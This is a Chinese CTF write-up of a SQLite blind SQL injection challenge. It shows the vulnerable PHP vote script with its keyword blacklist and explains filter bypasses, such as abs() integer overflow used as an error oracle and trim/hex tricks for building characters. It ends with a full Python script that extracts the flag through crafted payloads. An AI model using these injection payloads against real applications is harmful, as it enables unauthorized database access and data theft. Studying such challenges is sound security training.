sqli数据库注入+整数溢出
    看源码ban的东东

    1. <?php
    2. error_reporting(0);
    3. if (isset($_GET['source'])) {
    4. show_source(__FILE__);
    5. exit();
    6. }
    7. function is_valid($str) {
    8. $banword = [
    9. // dangerous chars
    10. // " % ' * + / < = > \ _ ` ~ -
    11. "[\"%'*+\\/<=>\\\\_`~-]",
    12. // whitespace chars
    13. '\s',
    14. // dangerous functions
    15. 'blob', 'load_extension', 'char', 'unicode',
    16. '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
    17. 'in', 'limit', 'order', 'union', 'join'
    18. ];
    19. $regexp = '/' . implode('|', $banword) . '/i';
    20. if (preg_match($regexp, $str)) {
    21. return false;
    22. }
    23. return true;
    24. }
    25. header("Content-Type: text/json; charset=utf-8");
    26. // check user input
    27. if (!isset($_POST['id']) || empty($_POST['id'])) {
    28. die(json_encode(['error' => 'You must specify vote id']));
    29. }
    30. $id = $_POST['id'];
    31. if (!is_valid($id)) {
    32. die(json_encode(['error' => 'Vote id contains dangerous chars']));
    33. }
    34. // update database
    35. $pdo = new PDO('sqlite:../db/vote.db');
    36. $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
    37. if ($res === false) {
    38. die(json_encode(['error' => 'An error occurred while updating database']));
    39. }
    40. // succeeded!
    41. echo json_encode([
    42. 'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
    43. ]);

    当上传成功时返回 Thank you ,失败返回error
    因此我们可以用过构造报错注入进行盲注
    这里有一个小的知识点
    在sqli中,如果X是整数-9223372036854775808,则abs(X)会引发溢出错误,即abs(0x8000000000000000)
    = 被过滤,用 & 代替
    空字符使用 trim(0,0) 代替
    在sqlite3 中 2||3==’23’ 为 1,而 2||3==23 为否 。因此我们可以利用这个特性来制造出数字的字符串,在用replace来替换
    两遍 hex 则把所有字母都转成数字,同时使用 upper 来将hex得到的大写字母转成小写
    sqlite中可以通过 case when then else end 来进行判断
    在sqlite中有一张系统表sqlite_master,其中两个字段name,和sql分别表示所有表名和表结构名
    sqlite中没有ascii,用unicode来代替
    总结:sqlite3 盲注 bypass ,利用 replace() 和 length 进行爆破,trim() 替换空字符,trim() 和 hex() 构造字符,& 特性获取长度等等,在 mysql 中也存在溢出的现象

    # coding: utf-8
    import binascii
    import requests
    
    URL = 'http://35323a2a-4a86-4961-9f6b-6323e9247341.node3.buuoj.cn/vote.php'
    
    # フラグの長さを特定 判断flag的长度
    l = 0
    i = 0
    for j in range(16):
        r = requests.post(URL, data={
            'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
        })
        if b'An error occurred' in r.content:
            l |= 1 << j
    print('[+] length:', l)
    
    # A-F のテーブルを作成 利用以下语句构造 A-F
    table = {}
    # hex(b'zebra') = 7A65627261
    # 除去 12567 就是 A ,其余同理
    table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
    table['C'] = 'trim(hex(typeof(.1)),12567)'
    table['D'] = 'trim(hex(0xffffffffffffffff),123)'
    table['E'] = 'trim(hex(0.1),1230)'
    table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
    # hex(b'koala') = 6B6F616C61
    # 除去 16CF 就是 B
    table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
    
    # フラグをゲット!
    res = binascii.hexlify(b'flag{').decode().upper()
    for i in range(len(res), l):
        for x in '0123456789ABCDEF':
            t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
            r = requests.post(URL, data={
                'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
            })
            if b'An error occurred' in r.content:
                res += x
                break
        print(f'[+] flag ({i}/{l}): {res}')
        i += 1
    print('[+] flag:', binascii.unhexlify(res).decode())
    

    参考连接
    https://xz.aliyun.com/t/6628#toc-4